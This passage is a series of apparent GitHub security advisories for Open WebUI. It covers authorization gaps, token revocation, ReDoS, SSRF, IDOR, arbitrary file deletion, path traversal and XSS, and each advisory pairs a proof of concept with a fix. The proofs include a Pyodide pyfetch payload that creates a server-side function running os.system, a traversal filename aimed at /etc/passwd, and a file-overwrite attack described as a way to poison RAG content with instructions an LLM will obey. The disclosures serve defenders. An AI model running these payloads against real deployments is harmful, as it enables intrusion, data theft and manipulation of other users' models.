http GET /api/v1/knowledge/<knowledgeid>/files Authorization: Bearer <owner token>

7. Observe that attacker-note.txt appears in the target knowledge base even though reader did not have write access. 8. As owner, request the file content:

http GET /api/v1/files/<attackerfileid>/content Authorization: Bearer <owner token>

9. Observe that the file is retrievable because hasaccesstofile derives access from the unauthorized knowledge-base membership.

Expected Behavior

The upload auto-link path should enforce the same authorization contract as /api/v1/knowledge/{id}/file/add:

- The target knowledge base must exist. - The caller must be the knowledge owner, an admin, or have write access. - The supplied directoryid, if present, must belong to the target knowledge base. - The KnowledgeFile association should only be inserted after authorization and processing succeed.

Actual Behavior

metadata.knowledgeid causes Knowledges.addfiletoknowledgebyid(...) to insert a KnowledgeFile row before write authorization is checked. The later collection write validation can fail, but the unauthorized membership row remains committed.

Suggested Fix

Move knowledge-base authorization before the insert in the upload auto-link path. The upload path should share the same write-access and directory validation logic used by the dedicated knowledge endpoints.

One safe pattern:

1. Load the target knowledge base. 2. Require owner/admin/write access before calling Knowledges.addfiletoknowledgebyid. 3. Validate that directoryid, if supplied, belongs to the same knowledge base. 4. Run vector processing before inserting the membership row, or wrap processing plus insertion in a transaction/compensating cleanup so a denied or failed process cannot leave a stale unauthorized row.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

With Redis configured, Open WebUI supports JWT revocation: POST /api/v1/auths/signout (per-token jti) and OIDC back-channel logout (per-user revokedat) record revocations in Redis, and HTTP auth (getcurrentuser) rejects revoked tokens with 401. The realtime authentication surfaces do not perform this check: Socket.IO connect / user-join / join-channels / join-note and the terminal websocket first-message auth validate tokens with decodetoken() only (signature + expiry). A JWT revoked by sign-out or back-channel logout therefore continues to authenticate new realtime connections, even though the same token is rejected on HTTP.

Affected component

- backend/openwebui/socket/main.py — Socket.IO connect, user-join, join-channels, join-note - backend/openwebui/routers/terminals.py — terminal websocket first-message auth - backend/openwebui/utils/auth.py — the revocation check was applied to HTTP only

Root cause

HTTP auth enforces revocation:

python utils/auth.py — getcurrentuser if data.get('jti') and not await isvalidtoken(request, data): raise HTTPException(statuscode=401, detail='Invalid token')

Realtime auth calls decodetoken() only, which verifies signature + expiry but never consults the Redis revocation keys ({prefix}:auth:token:{jti}:revoked, {prefix}:auth:user:{id}:revokedat):

python socket/main.py — connect / user-join / join-channels / join-note data = decodetoken(auth['token']) routers/terminals.py — resolveauthenticatedconnection data = decodetoken(token)

Impact

A JWT revoked by user sign-out or OIDC back-channel logout still authenticates new realtime connections. A stolen token therefore retains realtime access after the victim signs out or the IdP performs back-channel logout — the very remediation for a compromised token. The token can populate SESSIONPOOL as the victim, join their user/channel/note rooms (receiving realtime channel messages, collaborative-note updates and presence), drive socket-level collaboration as the victim, and pass terminal websocket authentication when terminal servers are configured. HTTP remains correctly protected (401), so REST data and state-changing REST endpoints are not reachable with the revoked token.

Proof of Concept

Reporter PoC on a Redis-backed deployment (v0.9.6 and main): after POST /api/v1/auths/signout, HTTP returns 401 for the token while a Socket.IO user-join with the same token still authenticates, and the terminal WS reaches terminal-server lookup rather than rejecting it as Invalid token.

Fix

Apply the revocation check on the realtime paths. The logic is factored into istokenrevoked(redis, decoded) (covering per-token jti and per-user revokedat); the Socket.IO handlers and the terminal WS reject tokens that fail it, using the main app Redis where revocations are stored. HTTP isvalidtoken delegates to the same helper, so HTTP behaviour is unchanged.

Affected / Patched

- Affected: >= 0.9.0, < 0.10.0, and only when Redis is configured (without Redis, per-token revocation is not supported and sign-out does not invalidate JWTs by design). - Patched: v0.10.0. The revocation check (isvalidtoken, covering per-token jti and per-user revokedat) is applied on Socket.IO connect / user-join / join-channels / join-note and the terminal websocket first-message auth, using the main app Redis where revocations are stored. HTTP isvalidtoken delegates to the same logic, so HTTP behaviour is unchanged.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

The Socket.IO server is configured with alwaysconnect=True (lines 78, 91 in backend/openwebui/socket/main.py) and the connect handler (line 329) never rejects unauthenticated connections. Two Ydoc event handlers have zero authentication checks, allowing unauthenticated clients to interact with collaborative document sessions.

Vulnerable Code

ydoc:awareness:update (line 741) — No auth check at all python @sio.on('ydoc:awareness:update') async def yjsawarenessupdate(sid, data): documentid = data['documentid'] userid = data.get('userid', sid) update = data['update'] # No SESSIONPOOL check, no room membership check await sio.emit( 'ydoc:awareness:update', {'documentid': documentid, 'userid': userid, 'update': update}, room=f'doc{documentid}', skipsid=sid, )

ydoc:document:leave (line 711) — No auth check at all python @sio.on('ydoc:document:leave') async def yjsdocumentleave(sid, data): documentid = data['documentid'] userid = data.get('userid', sid) # No auth check await YDOCMANAGER.removeuser(documentid=documentid, userid=sid) await sio.emit('ydoc:user:left', {'documentid': documentid, 'userid': userid}, room=f'doc{documentid}')

Root Cause: alwaysconnect=True (line 78) python sio = socketio.AsyncServer( alwaysconnect=True, # Never rejects connections ... )

The connect handler (line 329) adds authenticated users to SESSIONPOOL but never returns False or raises an exception for unauthenticated connections.

Exploitation

1. An unauthenticated attacker connects via Socket.IO (no token needed) 2. The attacker emits ydoc:awareness:update with: - documentid: a known/guessed note UUID (format: note:{uuid}) - userid: spoofed to impersonate any user - update: arbitrary awareness data (fake cursor positions, selections) 3. The fake awareness data is broadcast to all legitimate users in the document room 4. The attacker can also emit ydoc:document:leave with spoofed userid to broadcast fake ydoc:user:left events

Impact

- UI disruption: Fake cursor positions and user presence in collaborative editing sessions - User impersonation: Attacker can spoof any userid in awareness updates - Resource exhaustion: Unlimited unauthenticated WebSocket connections maintained by the server

Note: Other Ydoc handlers (ydoc:document:join, ydoc:document:update, ydoc:document:state) correctly check SESSIONPOOL membership.

Suggested Fix

1. Set alwaysconnect=False or reject unauthenticated connections in the connect handler 2. Add SESSIONPOOL checks to ydoc:awareness:update and ydoc:document:leave 3. Add room membership verification before broadcasting to document rooms

---

AI Disclosure (per Rule 11): AI (Claude) was used to assist with source code review, identifying potential vulnerability patterns, and drafting this report. The researcher directed the analysis, selected focus areas, and independently verified all findings against a running v0.8.12 Docker instance using real HTTP requests with two test accounts. The PoCs included are reproducible and were confirmed live before submission.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary Two regexes in backend/openwebui/utils/middleware.py that parse <$skillId|label> skill-mention tags backtrack in O(n²) on input that contains <$ followed by a long run with no closing >. Both run synchronously, on the asyncio event loop, on every chat completion with no feature gate. Because the default deployment is a single uvicorn worker, one such input pins a CPU core inside re and freezes the entire instance for all users until the worker is killed. Any authenticated user can trigger it with one chat message; it also fires accidentally on benign retrieved content (a RAG chunk or tool output) containing the pattern.

Affected versions >= 0.9.2, < 0.10.0. Fixed in v0.10.0 (there is no 0.9.7 release). - SKILLMENTIONRE (the extract pattern) has been O(n²) since v0.9.2; exploitable on 0.9.2–0.9.5 with a large input (hundreds of KB). - v0.9.6 added a second, far more aggressive O(n²) in the strip pattern (introduced by the "keep label as readable text" change), so on 0.9.6 a small input is enough to hang the instance.

Both are fixed by the same patch.

Affected component backend/openwebui/utils/middleware.py (line numbers as of v0.9.6):

python line 2223 — used by extractskillidsfrommessages(), called unconditionally (~line 2625) SKILLMENTIONRE = re.compile(r'<\$([^|>]+)\|?[^>]>')

line 2247 — used by stripskillmentions(), called unconditionally (line 2662) stripre = re.compile(r'<\$[^|>]+\|?([^>])>')

extractskillidsfrommessages() runs before the if allskillids: block (that guard gates only skill injection, not the regex), and stripskillmentions() runs with no guard at all. Neither requires a skill to exist or any setting to be enabled. Both functions are plain synchronous calls inside the async processchatpayload coroutine, so they block the event loop; with the default UVICORNWORKERS=1 (backend/start.sh) the whole instance stalls.

Root cause [^|>] is a subset of [^>], so the quantifier pair [^|>]+ \|? [^>] is ambiguous: on input that never closes with >, [^|>]+ greedily consumes the tail, > fails, and the engine backtracks through every split point between [^|>]+ and [^>] — O(n) positions each doing O(n) work. Polynomial, not exponential, but more than enough to hang a single worker on a ~100 KB input.

Proof of concept Standalone (no Open WebUI required):

python import re, time EXTRACT = re.compile(r'<\$([^|>]+)\|?[^>]>') STRIP = re.compile(r'<\$[^|>]+\|?([^>])>') for n in (8000, 16000, 32000, 64000): s = '<$' + ('a' n) for name, rx in (('extract', EXTRACT), ('strip', STRIP)): t = time.perfcounter(); rx.search(s) print(f'n={n:>6} {name:>7} = {(time.perfcounter()-t)1000:8.1f} ms')

Time quadruples per doubling of n (textbook O(n²)); the strip pattern runs for ~6 seconds on a 64k blob and for minutes on a ~96 KB one.

End-to-end against a live instance (default config): 1. docker run ghcr.io/open-webui/open-webui:v0.9.6 on defaults. 2. Log in as any user (no admin or skill setup). 3. Send a chat message containing <$ followed by 50k+ characters with no >. 4. One CPU core pegs in re; UI and API stop responding for every user until the worker is killed.

Patch Rewrite the optional |label as a non-capturing optional group so the two quantifiers no longer overlap. Both patterns become linear; captures and substituted output are unchanged on well-formed <$id|label>, <$id|>, and bare <$id> mentions.

python SKILLMENTIONRE = re.compile(r'<\$([^|>]+)(?:\|[^>])?>') stripre = re.compile(r'<\$[^|>]+(?:\|([^>]))?>')

After the patch the same hostile input returns in under 1 ms. Shipped in v0.10.0.

Credit Reported by @Vlad-WKG, including a correct root-cause analysis and patch.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Title: Scheduled automations continue after pending-user deactivation and stored model ACL revocation

Summary

Open WebUI documents pending as a zero-access role used for new sign-ups and deactivated users, and normal HTTP routes enforce that with getverifieduser() (which rejects pending), while automation create/update/run routes additionally require the features.automations permission. Two paths missed that lifecycle gate, so a deactivated (pending) account could keep acting through the background automation scheduler:

1. Scheduler did not re-gate the owner. When a stored automation became due, executeautomation() rehydrated the owner with Users.getuserbyid(...) and re-entered the chat completion pipeline without re-checking that the owner was still user/admin or still held features.automations. A still-active automation therefore kept running after its owner was deactivated. 2. Model ACL only enforced for exact role user. checkmodelaccess() applied private-model grants only when user.role == "user", so a pending principal fell through a branch that denies a normal non-owner user.

Net effect: a deactivated account could continue scheduled chat generation through the background worker, consuming the operator's configured model-provider credentials and reaching a stored automation model ID that its current role/ACL state would no longer permit through normal routes.

Impact

A pending/deactivated account continues to execute due scheduled automations after its access has been revoked, consuming the operator's provider credentials, quota and shared capacity, and bypassing the private-model ACL for the automation's stored model ID. Exploitation requires a previously created active automation and a later transition to pending (deactivation or approval rollback), so it is bounded and not interactive. It does not grant unauthenticated access, account takeover, code execution, or cross-user data exfiltration.

Patched

In 0.10.0:

- executeautomation() aborts and records an error unless the rehydrated owner is still user or admin and (for non-admins) still holds features.automations, so a deactivated or de-permissioned owner's due automation no longer runs. - checkmodelaccess() enforces model ACLs for every non-admin role rather than only the exact role user, so a pending or otherwise unrecognised role no longer falls through.

Credits

@rexpository

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Summary

POST /api/v1/images/edit performed no authorization beyond requiring a verified account. Every other image-editing surface in Open WebUI enforces the global image-edit switch and the per-user image-generation permission — the /api/v1/images/generations route, the built-in editimage tool, and the chat image-edit middleware — but the direct edit route enforced neither. A verified non-admin user could therefore invoke server-side image editing, reaching the configured image-edit provider with the administrator's credentials, even when the administrator had globally disabled image editing (ENABLEIMAGEEDIT=False) or denied that user image-generation permission. The image-editing UI is surfaced only to administrators (Playground), so the route additionally exposed an admin-only capability to any verified user.

Impact

An authenticated, non-admin user can:

- bypass the global ENABLEIMAGEEDIT=False administrator control; - bypass a denied per-user/group features.imagegeneration permission; - cause the server to send billable image-edit requests to the configured provider (OpenAI-compatible, Gemini, or ComfyUI) using administrator-configured credentials (IMAGESEDITOPENAIAPIKEY for the OpenAI engine).

No cross-user data is exposed and the provider credentials are never returned to the caller; the impact is the control/permission bypass and the associated billable resource consumption.

Affected Versions

>= 0.8.11, < 0.10.0 (the /api/v1/images/edit route was introduced in 0.8.11 and was ungated from the outset). Fixed in v0.10.0.

Details

/api/v1/images/generations enforces ENABLEIMAGEGENERATION (403 if globally disabled) and features.imagegeneration (403 for non-admins without the permission). The editimage built-in tool and the chat image-edit middleware likewise gate on ENABLEIMAGEEDIT and features.imagegeneration. The direct POST /api/v1/images/edit route ran on Depends(getverifieduser) alone and proceeded straight to provider dispatch, applying none of these controls.

Proof of Concept

As a verified non-admin user, with image editing globally disabled (ENABLEIMAGEEDIT=False) or features.imagegeneration denied for the user:

http POST /api/v1/images/edit Authorization: Bearer <nonadminusertoken> Content-Type: application/json

{"image":"data:image/png;base64,<png>","prompt":"edit","model":"gpt-image-1"}

The request reaches the configured image-edit provider and returns an edited image despite the disabled control/permission.

Patch

The direct route is split from its shared implementation (mirroring generateimages/imagegenerations): a thin /edit route now enforces ENABLEIMAGEEDIT and the per-user features.imagegeneration permission before delegating to the shared imageedits() implementation. The internal callers (the editimage tool and the chat middleware) call the implementation directly and already gate themselves, so they are unaffected.

1 / 2
Source: GitHub
First published (updated )
Severity
9
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Title: Same-origin Pyodide code execution allows server-side RCE via a shared chat

Summary

Open WebUI runs client-side Python (Pyodide) in a same-origin web worker. Through Pyodide's JavaScript API (pyodide.http.pyfetch, or the js module which exposes the page's fetch / XMLHttpRequest) executed Python can issue requests on the application origin, and those requests carry the victim's session cookie. A low-privileged user can store such a payload in a chat message, share the chat, and when a victim opens it and clicks Run the payload executes authenticated same-origin requests as the victim. When the victim is an admin (or a user holding workspace.functions / workspace.tools permissions) the payload creates a Function/Tool whose body runs server-side, yielding remote code execution.

Details

Pyodide's js bridge gives Python in the worker the same reach as inline JavaScript on the origin, and the worker is same-origin, so a credentialed request to the app's own API is authenticated as the victim. No separate XSS sink is required: storing the payload in a shared chat and having the victim run it is enough.

python from pyodide.http import pyfetch import json await pyfetch('/api/v1/functions/create', method='POST', credentials='include', headers={'Content-Type': 'application/json'}, body=json.dumps({'id': 'x', 'name': 'x', 'meta': {'description': 'x'}, 'content': "import os; os.system('<attacker command>')"}))

Impact

When the victim runs the shared code, an authenticated low-privileged user achieves remote code execution on the server (the created Function/Tool runs server-side Python) if the victim is an admin or holds workspace.functions / workspace.tools permissions. More generally the executed code can issue any authenticated request as the victim. Requires the victim to click Run, and Open WebUI configured to use Pyodide.

Patched

Pyodide now runs in a sandboxed iframe at an opaque origin by default (sandbox="allow-scripts", no allow-same-origin). At an opaque origin pyfetch, fetch and XMLHttpRequest to the app become cross-origin requests that carry no session cookie and are CORS-blocked, and the js bridge operates on the isolated iframe window with no access to the parent's cookie, token, localStorage or DOM. Full Python, JavaScript and external fetch keep working. IDBFS persistence is available only behind ENABLEPYODIDEFILEPERSISTENCE=true, which restores the same-origin worker and re-accepts this risk.

Workaround

Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option.

Credits

@gg0h

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Open WebUI before 0.6.27 contains a server-side request forgery vulnerability in the /api/v1/retrieval/process/web endpoint that allows authenticated users to bypass SSRF protections. Attackers can manipulate URL parameters with location redirect headers to access internal services and potentially execute commands via instance secrets.

First published (updated )
Severity
4.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary There is a blind server side request forgery in the functionality that allows editing an image via a prompt. The affected function will perform a GET request on the URL provided by the user. There is no restriction on the domain of the provided URL allowing the local address space to be interacted with. Since the SSRF is blind (the response cannot be read) impact is port scanning of the local network because it can be confirmed if the port is open based on if the GET request failed.

Details The vulnerability occurs here: https://github.com/open-webui/open-webui/blob/2b26355002064228e9b671339f8f3fb9d1fafa73/backend/openwebui/routers/images.py#L850-L916 Line 911 shows the user provided URL passed to the function loadurlimage. Within this function on line 883 HTTP/HTTPs URLs are trusted blindly and called asynchronously with requests.get.

PoC The vulnerability can be reproduced with the following curl command: curl -X POST http://localhost:3000/api/v1/images/edit \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{"formdata":{ "image": "<url>", "prompt": "poc"} }'

Impact Response differentials can be used to port scan the local network: <img width="3016" height="736" alt="image" src="https://github.com/user-attachments/assets/93b4df52-b23c-4ed7-a5fa-9cbedb30091c" /> This can be automated to iterate through the entire port range to determine open ports. If the service running on an open port can be inferred the user may be able to interact with it in a meaningful way if the service offers any state changing GET request endpoints.

Remediation Restrict provided URLs from local address space.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details Vulnerability 1: Missing authorization in collection querying

In backend/openwebui/routers/retrieval.py, the querycollectionhandler function accepts a list of collectionnames but performs no ownership validation:

python async def querycollectionhandler( request: Request, formdata: QueryCollectionsForm, user=Depends(getverifieduser), # Only checks authentication, not authorization ):

Collection names follow predictable patterns: - User files: file-{FILEUUID} - User memories: user-memory-{USERUUID} (requires Memory experimental feature)

PoC Environment: Open WebUI v0.8.3, default configuration. Setup: 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1 Host: <target> Authorization: Bearer <attackertoken>

Response reveals all users including admin's UUID, email, and role:

json { "users": [ { "id": "1e4756eb-b064-4781-8b06-4979bca59c8b", "name": "user", "email": "user@test.com", "role": "user" }, { "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba", "name": "admin", "email": "admin@test.com", "role": "admin" } ] }

<img width="1340" height="731" alt="1poc - users" src="https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9" />

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1 Host: <target> Authorization: Bearer <attackertoken> Content-Type: application/json

{ "collectionnames": ["user-memory-<adminUUIDfromstep1>"], "query": "test" }

Response returns admin's private memories:

json { "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]] }

<img width="1285" height="606" alt="2poc - memory" src="https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082" />

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILEUUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1 Host: <target> Authorization: Bearer <attackertoken> Content-Type: application/json

{ "collectionnames": ["file-<fileUUID>"], "query": "test" }

Response returns admin's private document content and full metadata:

json { "documents": [["Test PDF \nabc \nbcd"]], "metadatas": [[{ "name": "Test PDF.pdf", "author": "Mariusz Maik", "createdby": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba", "fileid": "243bee10-49ad-466f-884b-67b6b3d74968" }]] }

<img width="1413" height="908" alt="image" src="https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596" />

Impact - Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins. - User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search. - Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation. - No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection:

python async def querycollectionhandler( request: Request, formdata: QueryCollectionsForm, user=Depends(getverifieduser), ): for collectionname in formdata.collectionnames: if collectionname.startswith("user-memory-"): ownerid = collectionname.replace("user-memory-", "") if ownerid != user.id and user.role != "admin": raise HTTPException(statuscode=403, detail="Access denied") elif collectionname.startswith("file-"): fileid = collectionname.replace("file-", "") # userhasaccesstofile — placeholder; verify file ownership # e.g. check if createdby matches user.id if not userhasaccesstofile(user.id, fileid): raise HTTPException(statuscode=403, detail="Access denied")

2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.

Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary An access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)

Details The source code at https://github.com/open-webui/open-webui/blob/main/backend/openwebui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base: @router.post("/{id}/file/remove", responsemodel=Optional[KnowledgeFilesResponse]) def removefilefromknowledgebyid( id: str, formdata: KnowledgeFileIdForm, deletefile: bool = Query(True), user=Depends(getverifieduser), db: Session = Depends(getsession), ): knowledge = Knowledges.getknowledgebyid(id=id, db=db) [...] # Note : Access control check on the knowledge base if ( knowledge.userid != user.id and not AccessGrants.hasaccess( userid=user.id, resourcetype="knowledge", resourceid=knowledge.id, permission="write", db=db, ) and user.role != "admin" ): raise HTTPException( statuscode=status.HTTP400BADREQUEST, detail=ERRORMESSAGES.ACCESSPROHIBITED, )

file = Files.getfilebyid(formdata.fileid, db=db) [...] # Note : No checks on the file

if deletefile: try: # Remove the file's collection from vector database filecollection = f"file-{formdata.fileid}" if VECTORDBCLIENT.hascollection(collectionname=filecollection): VECTORDBCLIENT.deletecollection(collectionname=filecollection) except Exception as e: log.debug("This was most likely caused by bypassing embedding processing") log.debug(e) pass

# Delete file from database Files.deletefilebyid(formdata.fileid, db=db) [...]

PoC Victim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1) Attacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b) Attacker deletes the victim file from their own collection: POST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1 Host: gaius-neo-val.fr.space.corp Authorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0 [...]

{"fileid":"9db6dcee-bb3b-483e-aaf3-310fda366af1"}

-----

HTTP/1.1 200 OK [...] The file is then deleted from the victim's knowledge base.

Impact Arbitrary file deletion

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Summary

Any authenticated user can overwrite any file's content by ID through the POST /api/v1/retrieval/process/files/batch endpoint. The endpoint performs no ownership check, so a regular user with read access to a shared knowledge base can obtain file UUIDs via GET /api/v1/knowledge/{id}/files and then overwrite those files, escalating from read to write. The overwritten content is served to the LLM via RAG, meaning the attacker controls what the model tells other users.

Details

The processfilesbatch() function in backend/openwebui/routers/retrieval.py appears to be designed as an internal helper. The knowledge base router (addfilestoknowledgebatch() in knowledge.py) imports and calls it directly after performing its own ownership and access control checks. The frontend never calls the retrieval route directly; all legitimate UI flows go through the knowledge base wrapper.

However, the function is also exposed as a standalone HTTP endpoint via @router.post(...). This direct route only requires getverifieduser (any authenticated user) and performs no ownership check of its own:

python for file in formdata.files: textcontent = file.data.get("content", "") # attacker-controlled

fileupdates.append(FileUpdateForm( hash=calculatesha256string(textcontent), data={"content": textcontent}, # written to DB ))

for fileupdate, fileresult in zip(fileupdates, fileresults): Files.updatefilebyid(id=fileresult.fileid, formdata=fileupdate) # ^^^ no ownership check

There is no verification that file.userid == user.id before the write. Any authenticated user who knows a file UUID can overwrite that file.

How an attacker obtains file UUIDs:

Same as with read access, any user who can see a knowledge base can retrieve file IDs for every document in it via GET /api/v1/knowledge/{id}/files. In deployments where knowledge bases are shared across teams, this gives any regular user a list of valid targets.

Suggested fix: Add an ownership check before writing:

python for file in formdata.files: dbfile = Files.getfilebyid(file.id) if not dbfile or (dbfile.userid != user.id and user.role != "admin"): fileerrors.append(BatchProcessFilesResult( fileid=file.id, status="failed", error="Permission denied: not file owner", )) continue

Classification: - CWE-639: Authorization Bypass Through User-Controlled Key - OWASP API1:2023: Broken Object Level Authorization

Tested on Open WebUI 0.8.3 using a default Docker configuration.

PoC

Prerequisites: - Default Open WebUI installation (Docker: ghcr.io/open-webui/open-webui:main) - An admin or user creates a knowledge base with shared read access and uploads a file - A regular user account exists (the attacker)

Obtaining the file UUID (attacker):

GET /api/v1/knowledge/{kbid}/files

This returns metadata for all files in the KB, including their UUIDs.

Exploit (attacker):

bash python3 pocexploit.py --url http://<host>:3000 --file-id <target-file-uuid> -t <attacker-jwt>

The PoC script: pocexploit.py 1. Authenticates as the attacker 2. Overwrites the target file via POST /api/v1/retrieval/process/files/batch with a canary payload containing a unique marker string 3. Reads the file back and confirms the attacker's content replaced the original

Verifying RAG poisoning:

After the overwrite, log in as any other user, start a chat with the poisoned knowledge base attached, and ask about the document. The model's response will include the attacker's canary string (BOLA-<marker>), confirming that attacker-controlled content reached the LLM and influenced the response.

No special tooling is required. The script uses only Python 3 standard library (urllib).

Impact

Who is affected: Any multi-user Open WebUI deployment where knowledge bases are shared. The attacker needs a valid account (any role) and a target file UUID, which is available through any knowledge base they have read access to.

What can happen: - RAG poisoning: The overwritten content is served to the LLM via RAG. The attacker controls what the model tells every user who queries that knowledge base. This includes the ability to inject instructions the model will follow, which could lead to further exploitation depending on what tools and capabilities are available in the deployment (e.g. code interpreter, function calling). - Silent data corruption: The original file content is permanently replaced with no indication to the file owner or other users that it has changed. - No audit trail: Nothing records that an unauthorized user modified the file.

The core issue is that a function designed as an internal helper is exposed as a public endpoint without its own authorization checks. A user with read-only access to a knowledge base can escalate to write access over any file in it.

Disclaimer on the use of AI powered tools

The research and reporting related to this vulnerability was aided by the help of AI tools.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message — including the server's absolute DATADIR path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.

Details

backend/openwebui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():

python ext = file.filename.split(".")[-1] # attacker-controlled, no sanitisation filename = f"{id}.{ext}" # may contain "/" filepath = f"{filedir}/{filename}" with open(filepath, "wb") as f: f.write(contents)

If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:

{CACHEDIR}/audio/transcriptions/{uuid}./etc/passwd

open() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERRORMESSAGES.DEFAULT(e), leaking the full absolute path in the response body.

The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.

This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:

python files.py:244 filename = os.path.basename(file.filename)

pipelines.py:206 filename = os.path.basename(file.filename)

Recommended fix — match the existing pattern and suppress path leakage in errors:

python audio.py:1197 — sanitise extension from pathlib import Path safename = Path(file.filename).name ext = Path(safename).suffix.lstrip(".") or "bin"

audio.py:1231 — suppress internal path in error response except Exception as e: log.exception(e) raise HTTPException(statuscode=400, detail="Transcription failed.")

---

PoC

Requirements: a running Open WebUI instance and one standard (non-admin) user account.

bash docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest wait ~30 s, register a standard user at http://localhost:3000 pip install requests

python import requests, sys

BASEURL = "http://localhost:3000" EMAIL = "user@example.com" PASSWORD = "changeme"

token = requests.post(f"{BASEURL}/api/v1/auths/signin", json={"email": EMAIL, "password": PASSWORD}, timeout=10).json()["token"]

boundary = "----Boundary" wavstub = b"RIFF\x00\x00\x00\x00WAVE" body = ( f'--{boundary}\r\nContent-Disposition: form-data; name="file"; ' f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n' ).encode() + wavstub + f"\r\n--{boundary}--\r\n".encode()

resp = requests.post( f"{BASEURL}/api/v1/audio/transcriptions", data=body, headers={"Authorization": f"Bearer {token}", "Content-Type": f"multipart/form-data; boundary={boundary}"}, timeout=15, ) print(resp.statuscode, resp.text)

Observed output (live test, commit b8112d72b):

400 {"detail":"[ERROR: [Errno 2] No such file or directory: '/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}

The absolute DATADIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.

Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.

---

Impact Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATADIR filesystem path. The route is gated by getverifieduser — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.

AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
EPSS
0.03%
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary Manually modifying chat history allows setting the embeds property on a response message, the content of which is loaded into an iFrame with a sandbox that has allow-scripts and allow-same-origin set, ignoring the "iframe Sandbox Allow Same Origin" configuration. This enables stored XSS on the affected chat. This also triggers when the chat is in the shared format. The result is a shareable link containing the payload that can be distributed to any other users on the instance.

